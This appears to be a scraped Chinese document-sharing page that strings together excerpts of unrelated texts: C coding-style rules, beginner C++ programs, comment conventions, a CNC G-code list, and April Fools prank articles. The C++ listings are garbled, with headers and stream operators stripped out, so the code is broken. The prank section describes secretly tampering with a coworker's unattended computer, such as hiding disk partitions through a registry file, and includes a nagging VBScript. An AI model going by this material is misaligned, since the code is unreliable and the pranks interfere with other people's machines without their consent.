1、头文件包含Includes 2、私有类型定义 Private typedef 3、私有定义Private define 4、私有宏定义 Private macro 5、私有变量 Private variables 6、私有函数原型Private function prototypes 7、私有函数Private functions 8、私有函数前注释 /****************************************************************************** * * Function Name : FSMC_NOR_Init * Description : Configures the FSMC and GPIOs to interface with the NOR memory. * This function must be called before any write/read operation * on the NOR. * Input : None * Output : None * Return : None ******************************************************************************* / 9、程序块采用缩进风格编写,缩进空格为4。 10、相对独立的程序块之间、变量说明之后必须加空行; 11、较长的字符(>80字符)要分成多行书写,长表达式要在低优先级操作符划分新行,操作符放在新行之首,新行要恰当缩进,保持排版整齐; 12、循环、判断等语句中若有较长的表达式或语句,则要进行适应的划分,长表达式要在低优先级操作符处划分新行,操作符放在新行之首; 13、若函数或过程中的参数较长,则要进行适当的划分。 14、不允许把多个短语句写在一行中,即一行只写一条语句。 15、if、for、do、while、case、switch、default等语句自占一行,且if、for、 do、while等语句的执行语句部分无论多少都要加括号{}。 16、对齐只使用空格键,不使用TAB键; 17、 函数或过程的开始、结构的定义及循环、判断等语句中的代码都要采用缩进风格,case 语句下的情况处理语句也要遵从语句缩进要求 18、 程序块的分界符(如C/C++语言的大括号‘{’和‘}’)应各独占一行并且位于同一 列,同时与引用它们的语句左对齐。在函数体的开始、类的定义、结构的定义、枚举的定义以 及if、for、do、while、switch、case语句中的程序都要采用如上的缩进方式。 19、 在两个以上的关键字、变量、常量进行对等操作时,它们之间的操作符之前、之后或

C 经典程序代码大全

C 经典程序代码大全 #include const float PI= 3.1416; //声明常量(只读变量)PI为 3.1416 float fCir_L(float); //声明自定义函数fCir_L()的原型 float fCir_S(float); //声明自定义函数fCir_S()的原型 //以下是main()函数 main() { float r,l,s; //声明3个变量 cout>r; //键盘输入 l=fCir_L(r); //计算圆的周长,赋值给变量l s=fCir_S(r); //计算圆的面积,赋值给变量s cout=0.0) //如果参数大于0,则计算圆的周长 z=2*PI*x; return(z); //返回函数值 } //定义计算圆的面积的函数fCir_S() float fCir_S(float x) { float z=- 1.0; //声明局部变量 if (x>=0.0) //如果参数大于0,则计算圆的面积 z=PI*x*x; return(z); //返回函数值 } /* Program: P1- 2.CPP Written by: Hap Date written: 02:11:10 */ #include void main(void) { double s1,s2,s3; s1= 1.5; /* 对变量s1赋值*/ cout main() { double r=

1.0; cout>r; //键盘输入 l=2* 3.1416*r; //计算圆的周长,赋值给变量l cout //包含iostream.h头文件 void main() { //输出字符常量.变量和字符串 char c1= A ; cout //包含iostream.h头文件 main() { //输入输出字符 char c; cin>>c; cout>n; cout>x; cout>n; cout>c>>n>>x; cout //包含iostream.h头文件 main() { //声明整型变量 int a,b; //从键盘上为整型变量赋值cout>a; cout>b; //整型数的算术运算 cout //包含iostream.h 头文件 main() { //声明变量,并初始化 int a=010,b=10,c=0X10; //以进制形式显示数据 cout>a; cout>b; cout>c; cout //包含iostream.h头文件 #include // iomanip.h头文件包含setprecision()的定义 main() { //float型变量的声明.输入.计算和输出 float fx,fy; cout>fx; cout>fy; cout>dx; cout>dy; cout //包含iostream.h 头文件 main() { //字符类型变量的声明 char c1= A ; char c2; //字符数据的运算及输出 c2=c1+32; cout>c1>>c2; cout //包含iostream.h头文件 main() { char c1= \a ,TAB= \t ; //阵铃一声 cout //包含iostream.h头文件 main()

程序源代码注释规范

程序注释规范说明 程序注释规范应包括以下三方面: 一、文件头部注释 在代码文件的头部进行注释,这样做的好处在于,我们能对代码文件做变更跟踪。在代码头部分标注出创始人、创始时间、修改人、修改时间、代码的功能,这在团队开发中必不可少,它们可以使后来维护/修改的同伴在遇到问题时,在第一时间知道他应该向谁去寻求帮助,并且知道这个文件经历了多少次迭代、经历了多少个程序员的开发和修改。 样本: /***************************************************** ** 作者:Liuchao ** 创始时间:2007-11-12 ** 修改人:Liuchao ** 修改时间:2007-11-12 ** 修改人:Liaochao ** 修改时间:2007-11-12 ** 描述: ** 主要用于产品信息的资料录入,… *****************************************************/ 二、函数、属性、类等注释 请使用///三斜线注释,这种注释是基于XML的,不仅能导出XML制作帮助文档,而且在各个函数、属性、类等的使用中,编辑环境会自动带出注释,方便你的开发。以protected,protected Internal,public声明的定义注释都建议以这样命名方法。 例如: ///

/// 用于从ERP系统中捞出产品信息的类 ///

class ProductTypeCollector { … } 三、逻辑点注释 在我们认为逻辑性较强的地方加入注释,说明这段程序的逻辑是怎样的,以方便我们自己后来的理解以及其他人的理解,并且这样还可以在一定程度上排除BUG。在注释中写明我们的逻辑思想,对照程序,判断程序是否符合我们的初衷,如果不是,则我们应该仔细思考耀修改的是注释还是程序了… 四、变量注释 我们在认为重要的变量后加以注释,说明变量的含义,以方便我们自己后来的理解以及其他人的理解,并且这样还可以在一定程度上排除BUG.我们常用///三斜线注释。 /// 用于从ERP系统中捞出产品信息的类 class ProductTypeCollector { int STData;/// … }

CNC加工中心程序代码大全

1. 数控程序中字母的含义 O:程序号,设定程序号 N:程序段号,设定程序顺序号 G:准备功能 X/Y/Z :尺寸字符,轴移动指令 A/B/C/U/V/W:附加轴移动指令 R:圆弧半径 I/J/K:圆弧中心坐标(矢量) F:进给,设定进给量 S:主轴转速,设定主轴转速 T:刀具功能,设定刀具号 M:辅助功能,开/关控制功能 H/D:刀具偏置号,设定刀具偏置号 P/X:延时,设定延时时间 P:程序号指令,设定子程序号(如子程序调用:M98P1000) L:重复,设定子程序或固定循环重复次数(如:M98 P1000 L2,省略L代表L1)P/W/R/Q:参数,固定循环使用的参数(如:攻牙G98/(G99)G84 X_ Y_ R_ Z_ P_ F_) 2. 常用G代码解释 G00:定位或快速移动 G01:直线插补 G02:圆弧插补/螺旋线插补CW G03:圆弧插补/螺旋线插补CCW G04:停留时间或延时时间 如:G04 X1000(或G04 X1.0) G04 P1000表示停留1秒钟 G09:准确停止或精确停止检查(检查是否在目标范围内) G10:可编程数据输入 G17:选择XPYP 平面 XP:X 轴或其平行轴 G18:选择ZPXP 平面 YP:Y 轴或其平行轴 G19:选择YPZP 平面 ZP:Z 轴或其平行轴 G20:英寸输入 G21:毫米输入 G28:返回参考点检测 格式:G91/(G90) G28 X__ Y__ Z__ 经过中间点X__ Y__ Z__返回参考点(绝对值/增量值指令) G29:从参考点返回 G91/(G90) G29 X__ Y__ Z__ 从起始点经过参考点返回到目标点X__ Y__ Z__的指令(绝对值/增量值指令) G30 返回第2,3,4 参考点 G91/(G90) G30 P2 X__ Y__ Z__;返回第2 参考点(P2 可以省略。) G91/(G90) G30 P3 X__ Y__ Z__;返回第3 参考点

愚人节整人网页代码

竭诚为您提供优质文档/双击可除 愚人节整人网页代码 篇一:整人“病毒”代码(一) 发表于20XX-10-2310:33 前段时间看到大家对这种整人的代码兴趣还挺浓厚的,我最近就收集了一些和大家分享。 ps:由于精力问题没有对代码的可用性进行一一验证,所以不保证全部可用,大家如果发现有不可用的或者需要改进的地方请提出来,以下代码仅供娱乐,请勿用于非法用途。 一、怎么点都没反应的桌面 如果同事的电脑开着,他离开电脑前一会,嘿嘿,机会来了。 把他的电脑桌面按print键截屏截下来,(当然QQ截屏也可以,不过效果不太逼真!)建议大家用print截屏,设置为桌面。 然后把原来在桌面上的文件统统移到一个盘的文件夹里,这样桌面看上去和平时一个样。他回来后狂点鼠标,却怎么都没有反应!现在还在关机,开机,关机,开机,关机,开

机中???? 附带:print键截屏方法: 键盘右上方的“printscreensysRq”键的作用是屏幕抓图! 用法一,按“printscreensysRq”一下,对当前屏幕进行抓图,就是整个显示屏的内容。 用法二,先按住“Alt”键,再按“printscreensysRq”键,则是对当前窗口进行抓图。如你打开“我的电脑”后,用此法就抓取“我的电脑”窗口的内容。 用上诉两种方法抓图后,再打开“开始”、“附件”里的“画图”程序,点“编辑”、“粘贴”就把抓取的图片贴出来了,可以保存为自己需要的格式。哈哈,简单吧,这方法真挺搞的,有兴趣的童鞋可以试试! 二、让电脑硬盘消失-隐藏磁盘方法 愚人节电脑整人使无端端地电脑磁盘的某个分区消失了,钻进地缝里面去了吗,给外星人抓走了??非也!是某些人使坏将其隐藏起来了! 步骤 1.新建一个记事本 2.将记事本的后缀改为.reg,就是将“新建文件.txt”改为“新建文件.reg” 3.将下面的代码复制到记事本当中:

C 语言整人代码大全

C 语言整人代码大全WScript.Echo("嘿,谢谢你打开我哦,我等你很久 拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") 顶 举报| 2011-06-01 20:46回复 菊花爆开 电白自学 2楼 WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰 你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下")

WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你 的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无 义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝 又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次")

相关文档